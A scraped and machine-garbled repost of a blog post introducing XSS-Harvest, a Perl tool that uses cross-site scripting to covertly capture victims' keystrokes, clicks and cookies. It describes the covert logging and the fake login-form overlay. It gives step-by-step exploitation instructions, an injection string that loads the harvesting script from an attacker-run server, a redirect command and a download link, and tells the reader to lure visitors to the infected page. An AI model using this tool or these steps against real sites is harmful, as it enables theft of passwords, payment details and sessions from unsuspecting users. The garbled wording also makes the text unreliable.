Harvesting Cross Site Scripting (XSS) Victims-Clicks, Keys

Source: Internet
Author: User
Tags subdomain

A couple of years ago I was too red by @ fmavituna's work on XSS Shell and decided to write a new extended version (XSS-Shell-NG) using a PHP and a MySQL backend rather than the ASP/Access combination of the original. I never released the tool publicly, as my main aim of making XSS Shell easier to use was never really accomplished; it still required a significant amount of set up to get it working. however, one thing that both tools did well once working was to demonstrate the real business impact of cross-site scripting.

It always amazes me how many people still do not understand the impact of an exploited XSS vulnerability, and I include the security community in this statement. to summarise, a successfully exploited XSS vulnerability will allow the interception of ALL keystrokes, ALL mouse actions, ALL cookies (unless protected by scope) on ALL pages of the affected domain, regardless of whether or not the vulnerability is "reflected" or "persistent ". consider any transactions you carry out on ecommerce sites and any "secure" sites that you may log into, and understand this; if a cross-site scripting vulnerability existsAnywhereOn the same subdomain, it is feasible that an attacker can be exfiltrating your keystrokes and mouse clicks. this operation des the password field of your webmail provider and the credit card field on the e-commerce site you are using. theOnlyTime I wowould accept XSS as a 'low' impact finding wocould be on applications with no concept of sessions and mostly static content, but even in these cases if someone were to trust the vulnerable site (e.g. a. Gov. ukDomain), it cocould still be used as a launch pad for any number of browser based exploits. to demonstrate the real business impact of cross site scripting I have developed a completely new tool from the ground up-XSS-Harvest. It is multi-threaded pre-forking web server written in Perl, and requires no dependencies other than a couple of common Perl modules; youDo not needA web server or database to use this tool. Before going into the detail, I'll list the high level functionality below:

  • Infection script adds relevant event listeners (keystrokes,Onload ()And mouse clicks) to the vulnerable page and sets up communication with the XSS-Harvest server.
  • Any key entered will be sent covertly to the server.
  • Any mouse click timed Med will be analyzed and the data covertly sent to the server.
  • Optionally 'redress' the vulnerable page to display a different page on the same subdomain-e.g. a login form.
  • If redressing the victim's browser, allow subsequently loaded pages to be also 'infected'-assuming they don't break the same-origin policy (I. e. they're on the same subdomain ).
  • Keeps track of victims for the lifetime of the XSS-Harvest cookie (future visits are recognized as a returning victim ).
  • Each victim has a separate history file containing all events, cookies and keystrokes.
  • Server console displays real time data partitioned ed (due to multi-threaded nature, keystrokes are displayed as '. 'characters to avoid confusion ).
  • Tested in IE6-9 (ReflectedXSS protection in IE9 will limit exploitation to stored XSS only in most cases), FF5, Chrome and varous mobile browsers (Safari and Android). Please let me know your success with other browsers.
  • Overcomes browser oddities, such as Internet Explorer throttling requests to the same URL when exfiltrating keystrokes.
How to Exploit XSS with XSS-Harvest
  1. Identify a page vulnerable to XSS (reflected or persistent will be fine-unless the victim is running IE9 or another plugin such as NoScript ).
  2. Understand the markup of the page. you shoshould be looking to insert syntactically correct <script> </script> tags in to the source of the vulnerable page. most attackers will insert something like '<script> alert (1) </script>' at this stage to ensure the page is actually vulnerable.
  3. Start the XSS-Harvest server as root if you want to bind to a TCP port <1024 (default port is 80 ), or as a limited user on a port> 1024 using the-p option. to start the server you must instruct it to listen with the-l option.
  4. Insert the following 'injection string' into the vulnerable page:
    • <Script src = "http: // <serverip >:< serverport>/I"> </script>
    • This will return the client-side JavaScript to the victim, indicated by the 'I' in the URL.
  5. Entice visitors to the infected page (or to follow a link in the case of reflected XSS ).
  6. Watch your victims roll in-a new history file will be created for each new victim.
If you want to make use of the redress function, start the server with the-r parameter :. /xss-harvest.pl-l-r http://vulnerablepage.local/login.html Any incoming victim will now be redirected to the specified page by means of a full window IFRAME overlaid on top of the original vulnerable page. some screenshots of the server in action are shown below:
Server console showing incoming victims
 
Received events, clicks and keystrokes

Download
You can download the server Here. All feedback wocould be most welcome-please share improvements and distribute under the GPL license.

Requires the following dependencies:
HTTP: Server: Simple: CGI, Digest: MD5, Time: Local, Getopt: Std, Net: Server: PreFork

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.